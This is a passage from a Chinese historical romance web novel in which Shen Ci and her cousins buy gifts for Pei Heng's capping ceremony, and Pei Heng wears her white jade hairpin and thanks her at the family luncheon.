只不过裴世子的意图没有那么好隐藏。 再长鸣看见世子买了什么之后,就明白了缘由。 分明就是为了要送给沈姑娘的。 不然,为何又选了牡丹? 一次凑巧,难不成次次都凑巧吗?! 长鸣怀揣着大秘密,却苦于无人倾诉,将所有的事情都憋在了心里,难受的不得了。 * 忠毅伯府,沈瓷全然不知裴珩又给她准备了牡丹的首饰,她这几日正听舅母的话,仔细的思考着自己的 终身大事。 但这终身大事于沈瓷而言,当真没有什么好思考的,她连人都没有见到,又怎么能幻想对方是怎样的一个人? 思及此,沈瓷也不为难自己,索性抛诸脑后。 自从那日谈话之后,楚修筠的心态就发生了天翻地覆的变化,开始派人去打听韩嵩的消息来。 虽然已经做好了心理准备知晓韩嵩家境清贫,但她们实在是没有想到韩嵩家里能够清贫成这般。 楚映梦和楚思怡看到的时候,已经说不出话来。 “这…表姐若是真的嫁给了他,还能买首饰,做新衣服吗?” 楚思怡的想法非常的简单,但这些话说出来却没有一个人能够回答得了,楚修筠和楚景澄坐在一旁,头疼的厉害。 楚修筠忍不住的看向楚映梦,“阿瓷当真决定好了?” 楚映梦神色一黯,轻轻的点头,“母亲已经定好了时间,约韩夫人相见。” 虽说不确定亲事最后能不能成,但人肯定是会去见的。 至于沈瓷,她本就是一个很有主意的人,只是这几年她太随和,总让人忘记她从前的模样,“大哥你知道的,阿瓷从来都是一个坚定的人。” 她做了决定之后,便是他们将嘴皮子都说破了,也没法改变的。 何况这人选,还是母亲亲自选的。 沈瓷笃定舅母不会害她。 他们四人商议来商议去,都商议不出个所以然来,最终只能无奈的妥协,走一步算一步。 就在他们讨论着母亲何时会约韩夫人见面的时候,永宁侯府的帖子却先一步到来,上头说邀请他们去参加裴珩的加冠礼。 众人这才想起,他们竟然把这事儿给忘记了。 加冠礼比及笄礼隆重些,阿瓷的及笄礼定在了花朝节,但是加冠礼确实要翻黄历确定吉日的,他们也知晓表哥今岁加冠。 但最近的事儿实在是多,一个个面面相觑,完全把这些事情忘记到九霄云外。 “这,我们是不是得先去买贺礼?”楚映梦找回了自己的声音。 楚修筠和楚景澄默不作声的点头,道理是这么个道理,但是他们好像没什么银子,毕竟阿瓷及笄的时候,他们送了镯子。 那玉镯并不便宜。 后来两个妹妹也喜欢。 都是妹妹,总要一视同仁才行,于是…两人又咬咬牙给备上。 两人花钱也没个节制,这会子算得上山穷水尽。 但一般的贺礼,他们也是拿不出手的。 “那我们什么时候去买?”楚思怡的神情也不太好,毕竟她和姐姐不同,她也很穷。 “要不…今日?”楚修筠看了一眼弟弟,两人一致决定拿上印章,去钱庄取一些银两。 “那我去喊上阿瓷一起。”楚映梦的声音兴奋不已,她看着帖子上的人名,心中的郁结总算是消散了些。 其余三人全然不知她为什么那么高兴,正愁眉苦脸的坐在一处想着要怎么开源节流。 楚映梦找过来的时候,沈瓷正坐在长廊下看书,要议亲这件事根本就没有给她的生活带来多少的影响。 她怡然自得的翻着书页,看到有趣的地方也会忍不住的笑出声来。 楚映梦走近一看,发现沈瓷看的是一些游记,她记得这些书,是表哥送过来的,她和思怡都有,只是她们俩都不怎么喜欢看书。 这些游记,虽然有趣却也是晦涩难懂,尤其是不知道地方和风俗传说,看起来就宛如天书似得。 她们俩不得不承认自己根本就看不懂。 从前楚映梦没有那些奇奇怪怪的想法,但最近发生的许多事,让她没法不多想,这些游记,该不会是表哥特意送给阿瓷的吧? 只不过担心只送给阿瓷说不过去,才顺带送给她们俩和裴姝。 楚映梦越想越觉得是这么一回事,可又不敢相信自己这是自己心中那个正直的表哥可以做出来的事情。 一时间陷入了深深的纠结当中,竟在沈瓷面前发起呆来。 “表姐?你怎么过来了?找我有什么事吗?”沈瓷的声音骤然响起,楚映梦才回过神来。 “我们刚刚收到了永宁侯府的帖子,裴姝邀请我们去参加表哥的加冠礼。”楚映梦笑着开口,不等沈瓷说话就告诉她帖子上也有她的名字,“我们这会儿要去给表哥买贺礼,所以我过来找你。” “我?”沈瓷听见这话的时候当真是有一些惊讶的,她心说他们的关系应当还没有到这个地步吧? 加冠礼这样的大事也要邀请她一起去吗? “当然啦。”楚映梦脸色平静的走到沈瓷的身边,说起端午和七夕的事情,“我们都已经是能一块儿出去玩的关系。” “都是兄弟姐妹,当然要一起去冠礼。” 不知为何,楚映梦说起兄弟姐妹的时候心虚的不得了。 甚至都没有去看沈瓷。 沈瓷觉得表姐说的很有道理,点了点头。 “那我去换一身衣裳。”沈瓷从容的应下,起身去了卧房,她身上的衣裳不是出门的装扮,楚映梦松了一口气,坐在了沈瓷方才的座位上,忍不住的拿起她看了一半的游记看起来。 她方才见沈瓷看的入迷,也想瞧瞧到底什么这般有趣。 瞅了一眼就立刻放弃,这东西果然不是自己能看的明白的。 不多时沈瓷就走了出来,见楚映梦拿着那本游记还以为表姐喜欢,刚刚想和表姐讨论一番,就见她立刻将书放了回去。 脸上的表情也是五彩斑斓的。 看的她疑惑不解,“表姐,你这是怎么了?” 楚映梦哀怨的看了她一眼,心说她还问自己怎么了? “阿瓷,这些你都看的懂吗?” 沈瓷轻轻的点了点头,“大多数是可以看的懂,之前有一些不懂,但裴世子有替我解惑。” “还说了不少有趣的风俗传说。” “表哥还有这么好心的时候?”楚映梦睁大了眼睛,她可记得从前自己拿了奇闻怪谈去找表哥,问他是什么意思,表哥可从来都不理会她。 他就只会问她们功课。 偶尔心情好才会给她们讲故事。 “裴世子一向和善。”沈瓷轻声说道,楚映梦这会儿已经不想说话,她总觉得阿瓷对表哥有什么误会。 而且表哥对阿瓷的态度也有些耐人寻味。 只是楚映梦不能确定,这会儿一颗心悬着,抓心挠肺的,别提有多么的难受。 * 几人浩浩荡荡的出了府,乘坐着马车来到珍宝阁,他们给裴珩买贺礼,按理是不应该来珍宝阁的,但谁让裴珩什么都不缺? 还是沈瓷提议说可以买束发的簪子,于是他们就来到了珍宝阁。 琳琅满目的簪子摆到面前的时候,楚思怡是头一个忍不住的,她看着那些男子用的发簪,忍不住的拿起来偷偷的往自己的脑袋上比划。 看得人很是无奈。 楚映梦和沈瓷就正常许多,往两位哥哥的头上比划。 “表姐觉得这个怎么样?”沈瓷出声问道。 楚映梦也在一旁看着,簪子好看是好看,但这个颜色怎么选的那么奇怪? “还算不错,但这个颜色是不是和大哥不太搭?” “为何要同大表哥搭,不是要送给裴世子的吗?” “说的也是。”楚映梦恍然大悟,总算知道自己方才为何会觉得奇怪。 楚修筠&楚景澄:“……” 二人对视一眼,纷纷在彼此的眼中瞧见了无奈,这些话当着他们俩的面说,真的合适吗? 他们俩觉得心中有点儿不太痛快,但具体哪里不痛快,又实在是说不上来,他们俩倒是想要反驳,却实在是没胆子,只能任劳任怨的配合。 沈瓷和楚映梦试了一大堆,最终沈瓷选了一支白玉的素簪,楚映梦觉得有些素淡,选了一支青竹簪。 至于楚思怡,她就差给自己买了。 这个看看舍不得,那个也很喜欢,还是在哥哥和姐姐们的催促之下,才依依不舍的选了一支他觉得最好看的。 几人从珍宝阁出去之后,径直去了书斋,这是裴珩和楚修筠他们经常去的一家铺子。 二人本想着能不能找到什么合适的贺礼,谁知那么巧,竟然瞧见了一方新的砚台,只一眼就被吸引了视线,裴珩自然不缺砚台,但这砚台着实漂亮。 都是读书人,自然认 得什么是好的,他们俩看的出来那是端砚。 端砚素来金贵,只是二人也没想过,这砚台会价值千两。 两人看了看那砚台,又看了看自己身上的银子,怎么算都还是差了一点。 兄弟俩你看看我,我看看你的。 “哥,买吗?”楚景澄蠢蠢欲动。 楚修筠咬牙切齿,“买,买吧。” 楚映梦和沈瓷原本在一旁看信笺,这家书铺很大,里头的东西应有尽有,沈瓷原本就想着买些信笺好给游记做批注,便仔仔细细的选了起来。 楚映梦看着那信笺,脑子里又忍不住的想入非非起来,可当姐姐的对表妹从来都溺爱,就开始出谋划策,“这个,很适合用来写书信。” “为何要写书信?”沈瓷看着上头的竖线有些不大喜欢,她选中了洒金笺,虽然价格不菲,但着实漂亮。 “不写书信?那你买这个做什么?”楚映梦傻了眼,她还以为阿瓷已经做好准备要同未婚夫书信往来。 谁知沈瓷却告诉她,是要给游记做批注的。 楚映梦,楚映梦觉得自己还是什么都不要胡乱多想才好,等到她们俩买好了信笺,才发现兄长们还在一旁站立。 她们便凑了过来,得知兄长们想买砚台却银子不够时,沈瓷便提议她们一起出银子合买。 还拉上了楚思怡一道,虽说她只出了五两银子,也算是凑了个份。 “这会不会不大合适?”楚景澄难得有些心虚。 “这有什么不合适的?这一个砚台居然要三千两银子,难道是金子做的不成?”楚映梦初初听到价格的时候,只觉得贵的不得了。 但几人还是一块儿出钱,将那砚台给买了下来。 楚修筠和楚景澄也不好意思坑妹妹们,连连说回去之后就将银子还给她们。 但两人没有要,“说好了一起买的,要你们的银子算什么意思?” 那砚台被精心的包装好,几人高高兴兴的离了书斋。 说说笑笑的往外走着,结果楚修筠和楚景澄却冷不丁的停下脚步,楚思怡一个没注意撞上了二哥,小姑娘被撞的眼冒金星,气呼呼的骂人,“二哥,你做什么停下来?!” 楚修筠和楚景澄都没说话,只是一个劲的看着迎面走来的人。 沈瓷和楚映梦有些不明所以,忍不住的看了过去,远处走来的人有一些熟悉。 楚映梦瞪大了眼睛,极力克制着自己不去看站在一旁的表妹。 第36章 第36章世子,这是沈姑娘送你的贺礼…… 气氛骤然变得有些奇怪,楚映梦想要去看一眼,却又没敢多看。 沈瓷的态度倒是坦然,虽已经明白表哥们为什么停下来,但她的神色丝毫未变,倒是韩嵩,敏锐的感觉到了什么,他皱了皱眉头,仔细的思索了一番同楚家的两位公子有没有什么交集。 好一会儿才确定,他们并没有起过什么冲突。 只是到底是同窗,路上见了面也能说上几句话,世家公子从不会在待人接物上出错,几人寒暄了几句之后,就分道扬镳。 韩嵩注意到有人的视线频频落在自己的身上,不过那目光并不算恶意,他便没将这些事放在心上。 他急匆匆的走进书铺,朗声道,“掌柜,我来买信笺。” 可掌柜的看见韩嵩脸上却露出了尴尬的神色,“韩公子,今日可是不巧,您要用的信笺,被另一位客人给买走了。” 书铺的掌柜也有点儿犯愁,韩嵩要用的信笺,本是没什么人会买的,许久以来也唯有韩嵩会买。 谁知方才来了一位姑娘,不仅买了洒金笺,还买了其他的信笺,这买的还不少,其中就包括了韩嵩这会儿想买的,原本这信笺也并非是为了韩嵩刻意留的,有人要买掌柜的自然乐意。 “韩公子若是要信笺,须得等几日。”掌柜的笑盈盈的开口。 韩嵩一时间有些愣然,像是没想到他惯用的信笺,竟也会有另一人欣赏,他倒是有些好奇究竟是何人买走的,这时候身后传来了旁人的呼唤声,“韩兄,你怎么就走的那么快?” “李兄。”韩嵩回过神来,同友人打了招呼。 那被称为李兄的男子有一些埋怨的看着他,“我方才就瞧见你了,出声唤你谁知你像是没有听见,越走越快,我追了好一会儿才追上。” “你这般着急是做什么?” “过来买信笺。”韩嵩淡淡道。 “可买到了?”李一晔随口问了一句。 他本没有在意,却看见韩嵩摇了摇头,“不曾。” “什么?”李一晔差点以为自己听错,心说就韩嵩买的那信笺,怎么可能还会有人喜欢?但事实就是如此,不仅有人喜欢,还全部都被人给买走了。 “那这可怎么办?你平素不都喜欢用那纸…”李一晔抓了抓头发,真心实意的为韩嵩着急,韩嵩本人反而没有什么感觉。 “那信笺结实耐用,有人瞧上不也是人之常情。” 原本他也没有让掌柜的替他特意的留出。 韩嵩因为信笺的事情,情绪有一些淡淡,倒是李一晔,瞧见昨日刚刚放上的端砚今日居然没了,瞬间睁大了双眼。 “掌柜的,先前在这处的砚台,是被什么人给买走了吗?” 掌柜的顺着他的视线看过去,轻轻的点了头,“是忠毅伯府的两位公子给买走的。” 他又像是想到了什么,同韩嵩说起那信笺也是他们一块儿给买走的。 韩嵩随意的点了点头,没怎么将这件事情放在心上,倒是李一晔,看着那砚台的位置忍不住的羡慕。 那砚台他昨日就瞧见了,只是实在太金贵。 三千两银子,这可不是一般人能够拿的出手的。 韩嵩和李一晔出了书铺,李一晔还想着拿砚台,开始好奇楚修筠和楚景澄买那砚台要做什么,猜测了许久,还是被韩嵩一语道破天机,“裴世子过几日就要办加冠礼,许是送给裴世子的贺礼。” 思来想去还是这个理由最能够让人信服。 李一晔是韩嵩为数不多的好友,平素二人在一块儿总有着说不完的话,但是今日韩嵩却有一些心不在焉的。 即便他不怎么想承认,但信笺这件事还是让他的心情变得有些低落。 尤其是他回到家中,母亲告诉他忠毅伯府的裴夫人约她见面时,韩嵩的心中就愈发的疑惑。 “母亲可知裴夫人为何要下帖子约您相见?”韩嵩整个人都是懵的,他从前也不曾听闻他们府上和忠毅伯府有什么交集。 在书院时,他和楚修筠兄弟俩也不过是见了面打一声招呼的关系。 连寒暄都不曾会有。 怎么好端端的竟会相邀。 “尚不能确定,但母亲心中大抵有数。”韩夫人轻声开口。 自从丈夫去世之后,他们母子俩相依为命,韩夫人也不似从前有什么事情还会瞒着韩嵩。 如今自是有什么,说什么。 “裴夫人大抵是要为寄居在府上的表姑娘议亲。”韩夫人轻声猜测道,这表小姐的身份,韩夫人原本是不知晓的,但韩嵩也到了议亲的年龄,她自然也着急。 就在这时候忠毅伯府和协律郎府上都递来了橄榄枝。 韩夫人才去打听了沈瓷的情况。 韩嵩倒是比母亲更加的了解一些,无他,只因当年平江节度使那件事闹得有些大。 “沈毅夫妇离世之后,楚二爷就将孩子接回了金陵,一直都养在伯爵府上,如今孩子到了年纪,自然是要议亲的。” 沈瓷的情况知道的人不少。 家道中落的孤女。 先前还被成安伯府退过亲。 只是退亲这件事,金陵人人都知晓和沈瓷本人无关,不过是成安伯府嫌贫爱富。 “可儿子瞧着,桌上似有两封请柬。 “韩嵩冷静的询问。 韩夫人微微一愣,随后提起另一封请柬是协律郎府上送来的,“协律郎府上的夫人也约母亲相见,要为府上的四姑娘议亲。” “母亲作何打算?” 韩夫人微微的叹了一口气,“人往高处走,水往低处流,母亲自然是希望你有一门好亲事。” 韩夫人私心里自然更属意忠毅伯府,虽说对方只是府上的表姑娘,但韩夫人打听到无论大大小小的宴会,裴氏都会带着三个姑娘一同前往。 也有不少人说起她们姊妹三人感情极好。 至于协律郎府上,适龄的姑娘只有庶出的四姑娘。 两户人家各有利弊。 可都是高门大户出来的姑娘,也不知道是什么样的性子,“娘都应下了,总要亲自去了解一番才能定下。” 韩嵩并没有反驳母亲的话,只是他好似明白过来,为何今日楚家兄弟见着他的时候,态度会那么的奇怪。 也许议亲这事,楚家兄弟是不同意的。 韩嵩并没有去刻意的了解沈瓷是什么人,自然也没有去打听协律郎府上的四姑娘又是谁,婚姻大事他自然是凭着母亲做主的,他只是安安静静的看书,习字。 静待下一次科举大放异彩。 * 沈瓷并没有将遇见韩嵩这件事放在心上,楚修筠等人原本还是有一些在意的,可瞧见沈瓷跟个没事人一样后,他们也没有大惊小怪。 议论上两句之后就将这事抛诸脑后。 这会儿全部聚集在沈瓷的住处,将今日买下的贺礼堆放在桌上。 顺便将荷包里的碎银子又数了一次。 “这才堪堪月初,我要怎么活?”楚景澄一脸生无可恋的趴在桌上,楚修筠的情况比他稍稍的好一些,但也没有好太多。 “我也没有什么银子了。”楚思怡可怜巴巴的看着两位姐姐。 这里头最有银子的就是楚映梦和沈瓷。 楚二姑娘是因为定亲,来年就要成亲,裴氏担心她婚后就接手铺面经营会力不从心,便将她嫁妆里的几件铺子提前交给她打理。 她慢慢教,让楚映梦慢慢学,如今几个月过去无论是分红还是盈利,都在楚映梦自己手中。 至于沈瓷,楚恒将沈家原本的产业变卖之后,裴氏又在京中给她置办了另外的产业,虽还没有交到她自己的手里,但每年的分红也不少。 不仅如此,她还有楚老夫人的补贴。 可以说是几个人里头最富裕的。 这会子姐妹俩看着另外三人哭哭啼啼的,到底是动了恻隐之心。 “二位兄长日子过得若当真艰难,我和阿瓷倒也是可以借你们一些银子周转。但是先说好啊,亲兄弟明算账,要给我们俩写借据。”楚映梦见不得兄长们这般的凄惨。 但银子这事,母亲早已经教导过不能贸贸然的给出去。 楚景澄眼睛亮亮的,但楚修筠却拒绝了这个提议,“倒也不至于过得特别艰难,只是没有先前好过,少下几趟馆子,度过这个月也就好了。” “可是…哥…”楚景澄哀怨的看着兄长,若非不合时宜,沈瓷都觉得二表哥要哭出来。 “忍一忍,也就过去了。”楚修筠当然知晓妹妹是好心,只不过他不愿楚景澄养成什么坏习惯,楚景澄时常喜欢在外头下馆子,花起银子来也没个节制。 楚修筠时常补贴他。 并非是楚修筠不悦,只是他得让弟弟明白,没银子的时候,得少花一些。 要节制一些。 楚景澄见哥哥这般说,倒也不敢反驳,只是默默的点了头,羡慕妹妹有那么多的银子,一时间想入非非,竟然想歪了,“难不成,成亲竟然有这么多的好处?” 楚景澄的想法天马行空,谁也没有注意到他说了什么。 谁知他下一刻竟抓着楚修筠的手,央求哥哥快些带个嫂子回来。 “什么?”楚修筠傻眼,不是在说月钱吗?怎么忽然之间就扯到了成亲这件事情上头了? “映梦快要成亲了,所以有那么多钱,阿瓷快要议亲了,手里的银子也不少,这不就是成亲带来的吗?”楚景澄说的煞有介事,楚修筠觉得他在胡说八道,却找不出反驳的理由来。 偏偏他还有理有据的,“你看看我们仨,没有议亲的,是不是一个比一个穷?” 楚修筠:“……” 楚思怡:“……” 为什么她也要跟着一块儿受伤? 楚思怡默默的往姐姐们身边站了站,只希望二哥说自己穷的时候不要带上她。 楚景澄越想越觉得是这么一回事,连连追问兄长有没有心仪之人,若是有抓紧时间去提亲,这样他说不准到年末,还能得到来自长嫂的红包。 楚修筠:“……” “你这脑子里一天天的到底在想些什么?若是让婶娘知晓,看她不罚你。”楚修筠无奈的揉了揉额头,再不理会他的胡言乱语。 偏偏楚景澄还觉得自己聪明极了,想方设法的要说服兄长。 惹得楚修筠半句话都不想多说,他看着几个妹妹,流露出求助的表情,沈瓷三人只当什么都没有瞧见。 乐不可支的笑着。 * 沈瓷买到了信笺,心情甚好的开始给那些游记做起了批注和笔迹,一连几日都在忙碌。 而裴珩的加冠礼,也如期而至。 那天一早,几人一块儿去给祖母和母亲请过安之后,便开开心心的出门去观礼,裴珩的加冠礼是在宗庙举行的。 他们便率先去永宁侯府接上裴姝,再一块儿往裴氏的宗庙去。 永宁候和裴珩均一大早就出门了,永宁候夫人要在府上准备午宴,原本也是要安排马车送裴姝去观礼,谁知裴姝却让母亲不用忙碌,表哥他们会来接自己。 故而永宁候夫人也没有再过问。 众人汇合之后,裴姝高高兴兴的上了马车,腻在了沈瓷的身边,“哥哥一大早就出门了,爹娘今日也很忙碌,好在哥哥姐姐们还记得我。” 几人寒暄了几句,便往宗庙走去,裴姝看着沈瓷发间的牡丹,心情愈发的好了,“沈姐姐你看,我今日戴的也是牡丹。” 沈瓷没有注意到裴姝发间的首饰,但是楚映梦注意到了,她其实早就想问裴姝发簪的事情,只是苦于没有机会,如今话赶话,倒是个不错的机会。 “姝儿,表哥有没有送簪子给你?” “表姐说的是七夕节礼?” “自然是有的,只是我尚未及笄,这簪子给了我也不能戴,在家中收着呢。”裴姝疑惑的看着表姐不知她为何会特意问起这些。 “那感情好,等会儿回到府上,取出来给我们瞧瞧可好?” 裴姝有些不明所以,倒不是她不舍得,只是有些弄不明白,那簪子不是哥哥送的吗?她们几个都有。 “难道,哥哥给表姐的簪子,表姐不喜欢?” “自然不是,只是我们收到的都是牡丹,思怡非说阿瓷的最好看,所以我才想借你的看一看。” “我的也是牡丹。” 裴姝看了眼沈瓷发间的首饰,比较了一番自己的簪子,也不得不承认思怡说的没错,的确就是沈姐姐的最好看。 但这话裴姝无论如何都不会说的。 她笑嘻嘻的看着思怡说话,“怎么会是沈姐姐的最好看呢,肯定是我的最好看呀,你若是不信等会儿回到府上我找来给你瞧。” “那我可真的要好好的瞧一瞧,到底谁的更好看。” “好呢,我前些日子还买了不少的首饰,若非没有机会,不然也想让姐姐们一起瞧瞧。” 几人说说笑笑,很快就到了裴氏的宗庙。 今日是裴珩的加冠礼,来了许多德高望重的族老,他们几个到的时候,仪式就快要开始了,他们站在角落里头,看着永宁候亲自给裴珩加冠,一重又一重。 加冠礼办的隆重而盛大,俨然已经准备了许久,沈瓷看着这一幕,在心中由衷的祝福着。 其余几人也是一样,在这庄严肃穆的环境中,谁都没有说话。 其中看的最认真的当属楚景澄,他说要看看仔细,等来日哥哥加冠的时候,他不至于手忙脚乱,并且还不忘让兄长也看看仔细。 “嗯?” “若是到时候父亲没有空,也可以由长兄来。”楚景澄的眼睛亮晶晶的,为自己想到了这么一个好主意而沾 沾自喜。 楚修筠一时之间当真不知道该觉得感动还是无奈,他高兴弟弟无时无刻都记挂着自己,但这设想大可不必。 二叔若是知晓,估摸着又要被景澄气的火急火燎。 加冠礼结束了之后,裴姝依旧是和楚修筠等人一块儿回去。 永宁侯府今日也是大宴宾客,也没人顾得上他们几个,皆是裴姝在招待他们,“哥哥说他今日会很忙,让我务必好好的招待你们。” 裴珩很是忙碌,才刚刚回到府上就被永宁候给带走了。 几人连好好的说句话的时间都不曾有,几人都不在乎这些小事,在他们看来表哥股不顾得上他们都没有关系,只要加冠礼能够圆满就是最要紧的事情。 沈瓷和表姐思怡一块儿去了裴姝的院子,楚修筠和楚景澄没好意思跟着一起,就去帮着裴珩一块儿挡酒。 他们带来的贺礼也早早的交给了永宁侯府的管家。 午宴的时候,永宁候夫人在裴姝的院子里单独给她们摆了一桌,因为今日前来的都是一些族亲,且男宾居多,永宁候夫人担心她们几人会不习惯,索性就另外安排。 对于这样的安排,沈瓷几人很是高兴。 谁曾想到了饭点的时候楚修筠和楚景澄也溜了过来。 “外头实在是太过热闹,真真让人招架不住。” 楚修筠和楚景澄过来,裴姝四人当然高兴,原本只有她们几个也很是冷清,瞧见人后立刻就招呼他们坐下。 “二位表哥,我哥哥去何处了?”裴姝这才想起来自己的兄长,适当的问候了一句。 “表哥方才喝了不少的酒,说是要去换一身衣裳。”楚修筠和楚景澄替裴珩挡了不少,只是他才是今日的主角,许多长辈敬酒,他也不得不喝。 他们分开的时候,裴珩已经喝了不少。 “哥哥回去换衣裳了?”裴姝得知这个消息后,便让丫鬟去厨房取醒酒茶,吩咐她给兄长送去。 裴珩不爱丫鬟近身伺候,裴姝就只吩咐她送到长鸣的手中。 做完这一切后,她开始心安理得的用膳。 裴珩实则没有喝多少的酒,不过是找了个借口离场,他本就不爱这种场合,若非今日有别的目的,他估摸着这会儿要去翰林院当值,绝不会告假。 他坐在软榻之上揉着额头,长鸣便在这时候端着一碗醒酒茶走了进来,“世子,是大姑娘差丫鬟送过来的。” 裴珩点了点头,示意长鸣将东西搁下。 长鸣将醒酒茶搁在一旁的小几上,献宝似得将一个礼盒捧了出来,“世子,这是属下方才从管家那处看见的,是沈姑娘送来的贺礼。” 长鸣说完这句话,就瞧见原本对什么都不太在意的裴珩猛然睁开了眼睛。 他看见那么大一个盒子,想也知晓不会是沈瓷送来的,偏偏他还是着了道,一份一份的贺礼都是包好的,上头也写上了名字,这个盒子的落款是楚修筠的。 但打开之后别有洞天,每个人都有给他单独送礼物,只是装在了一起。 裴珩伸手打开了沈瓷送来的匣子,里头是一支白玉素簪。 裴珩瞧见这簪子的第一眼,就觉得它和自己那件月白色的锦服很是般配,他垂下眼,问长鸣她们几人在何处。 “在大姑娘院子里,夫人给大姑娘单独安排了午宴。” 裴珩随意的点了点头,长鸣本以为世子这般问过就罢了,谁知裴珩径直的将那簪子取出用以束发,并且为了配那支簪子,还特意换了一身衣裳。 虽说世子原本就是要来换衣裳的,可长鸣却觉得,世子原本是不想想换这一套的。 这衣裳世子从前可不爱穿。 裴珩换好衣裳之后就走了出去,长鸣本以为世子是要去正厅,谁知他竟往大姑娘的院子走去,他尚未靠近,就听见里头欢声笑语。 裴珩原本还有些烦闷的心情也被感染,不知不觉的弯了弯唇。 他大大方方的走了进去。 第37章 第37章沈姑娘,多谢你的贺礼。 裴珩的到来出乎所有人的意料之外,原本热热闹闹的几人瞧见他的身影之后,全部睁大了眼睛看过去,“哥哥?你怎么过来了?” “表哥怎么过来了?是前头的宴会结束了?” “不用再去席上敬酒了吗?” 此起彼伏的追问声充斥在耳,一个个都在担心裴珩。 裴姝更是记挂着哥哥今日喝了不少的酒,匆匆的跑到跟前问他有没有喝醒酒茶。 裴珩笑着点了头,“长鸣亲自端进来的,说是你的丫鬟送来的。” “那哥哥到底喝没喝?”裴姝关心的是结果,并非那醒酒茶的去向,裴珩微微颔首,兄妹俩将这事儿掰扯明白之后,裴姝总算是松了一口气。 至于裴珩为何没有再去席上,原因也很简单,他想见一见沈瓷。 更何况裴珩这会儿半点都不想提敬酒这件事,面对众人的询问,他倒是坦然,“想安安心心的吃顿饭。” 毕竟从早上折腾到这会儿,裴珩当真是有些受不住。 众人知晓裴珩要和他们一块儿用膳,自然是高兴的,也顾不上前头找不着主角会如何,忙命人添上一副碗筷,将人率先的扣下,楚思怡拉着裴珩的袖子请他坐下,“表哥你来的正是时候,我们才刚刚开始。” 表妹的好意裴珩自然不会忤逆,只不过表妹给他选的位置,当真是有些不大好。 裴珩原本想坐沈瓷的对面,偏偏这会儿坐在她的不远处。 倒不能说这位置不好,只是中间还隔着一个裴姝。 裴珩淡淡的扫了妹妹一样,他自认为自己做的隐蔽,殊不知裴姝早已经发现,她也是如坐针毡,方才好不容易抢到沈姐姐边上的座位,还没来得及高兴就瞧见哥哥过来了。 裴姝这会儿只觉得自己有些碍事,只是坐下之后也不好刻意的换位置,只能硬着头皮坐在那儿不挪窝。 好在裴珩还知道分寸,不过淡淡扫了一眼就收回自己的视线,不动声色的问道,“方才在外头就听见你们的欢声笑语,很是热闹,在说什么?” 面对裴珩的询问,楚景澄和楚思怡更是不假思索的同时开口。 “在谈论表哥的加冠礼,今天可真是热闹。” 楚景澄比她快了一步,楚思怡有些不高兴的瞪了他一眼,“就数你知道的多,这般的爱显摆。” 若是换在平时楚景澄早就要和妹妹吵起来,但他今日却一反常态并没有和楚思怡理论,反而是一本正经的看向裴珩,不大好意思的问表哥,这一回的加冠礼,准备了多少时候。 裴珩还从未想过这些,但因为楚景澄问起,他还真是认真的想了想。 今日的加冠礼,是母亲许久之前就开始准备的,似乎是从他高中之后就有提及,一直到了今日才终算圆满。 裴珩其实一直都清楚,但他从不知道这加冠礼会那么累,简直比去早朝还要麻烦。 至少早朝不需要全程跪拜着。 “待到你加冠的时候,姑母一定会为你好好的操办。”裴珩轻声说道。 但楚景澄对此浑不在意,只是又凑到裴珩的身边问了许多的话,裴珩仔细的听了听,大概听明白他究竟想要表达什么。 他并非是在期待自己的加冠礼,只是想知道等到楚修筠行冠礼的时候,他可以做什么。 “自然不需要你做什么,若有用的着你的地方,修筠自会开口。”裴珩三言两语就把人给打发了,但楚景澄却偷偷的询问裴珩,他们伯父今年还能回金陵吗? 裴珩看了看席间几人,见她们也是一脸的担心。 “怎么忽然都露出这般的神情?” “眼看都要九月,再不回来岂不是又要晚一年。”楚景澄有些 不高兴的开口,“若是再晚一些回来,那大哥的冠礼还办不办了?” 楚景澄话音刚落,剩下三人全部都点了点头。 话既然说到此处,楚景澄也开始厚着脸皮问裴珩知不知晓伯父今年能不能回来。 裴珩当然是不知道的,朝廷调令一事都归吏部掌管,但裴珩和吏部的官员并没有什么直接交集。 只是父亲同他提及过,有很大的希望。 可有些事情不到最后一刻是不知道结果的,裴珩也不想早早的将话说的太满,免得他们平白生了期待,到最后却尽是失望。 “既有风声,自然会有结果。”裴珩劝说楚景澄不用太过着急,毕竟还不到九月,若是能调回金陵,再过些时日就会有结果。 楚景澄还想说些什么,就被楚修筠给打断,“你缠着表哥问这些事情做什么?表哥是翰林院额官员,他又不管这些。” 楚景澄这才闭了嘴。 楚修筠知晓弟弟是为他打抱不平,毕竟他和表哥同龄,表哥的加冠礼已经办了,而他的迟迟没有下文,叔叔和婶婶有心想替他操办,可他的爹娘却尚未归家。 能不能回来过一个团圆年,也还都是未知。 加冠礼是大事,即便叔叔和婶婶有心,也不能越俎代庖。 实则家中早已经开始准备,就连日子也已经选定,只是等个准话。 这些事是祖母和婶娘单独告诉他的,只不过景澄不清楚,祖母吩咐过他不宜声张,免得被有心人挑唆,反倒生了嫌隙。 楚修筠本也没怎么在意,谁知弟弟竟然这般的着急,思及此他心中愧疚油然而生。 今年年初的时候,他倒是收到过一封家书,父亲说他有望调回金陵,加冠礼可以等他回来的时候再办。 楚修筠心中当然也是有所期待的,但这份期待也不知会不会落空。 有时候他都会想其实也不必如此麻烦。 若爹娘一直没有时间,叔叔和婶婶也不会坐视不理。 这么些年,不都是这么过来的? “今天是表哥的加冠礼,怎么好端端的又将话题扯到了我的身上?”楚修筠笑着将话题岔开,“表哥,可有收到我们送的贺礼?” 说起贺礼,裴珩的脸色稍稍的有些古怪,贺礼是长鸣提前送到他的住处,但里头的东西,裴珩只看了沈瓷送的。 其余的那些,他倒是知道是什么。 沈瓷白玉素簪,这会儿就戴在他的身上。 裴珩这会儿听楚修筠提及,也不知他是发现了什么,还是随意的寻了一个话题,他如今的心思很奇怪,既担心被人察觉,又担心他们眼瞎。 横也不是,竖也不是。 可谁让裴世子有一颗七窍玲珑心,很快就有了对策。 “自是瞧见了。”裴珩淡淡道,“说来还要感谢沈姑娘。” 裴珩此语一出,庭中所有人都抬起头看向他,见裴珩面无异色便又看向沈瓷,好似想在沈瓷的脸上瞧出什么端倪。 但沈瓷也是丈二和尚摸不着头脑,她压根就什么都不知道,这无端端的一句感谢,当真让她心生疑惑。 “裴世子…要感谢我什么?”沈瓷诧异开口,短短一瞬,她一直在想自己到底有帮助过裴珩什么,需要他这么特意感谢的吗? “若非沈姑娘送的簪子,今日这衣裳只怕是要束之高阁。”裴珩轻声解释,连语调都没有任何改变。 众人这才瞧见仔细的去瞧裴珩束发的簪子,正是前些日子沈瓷选中的白玉素簪,和这件月白色的锦袍很是相衬。 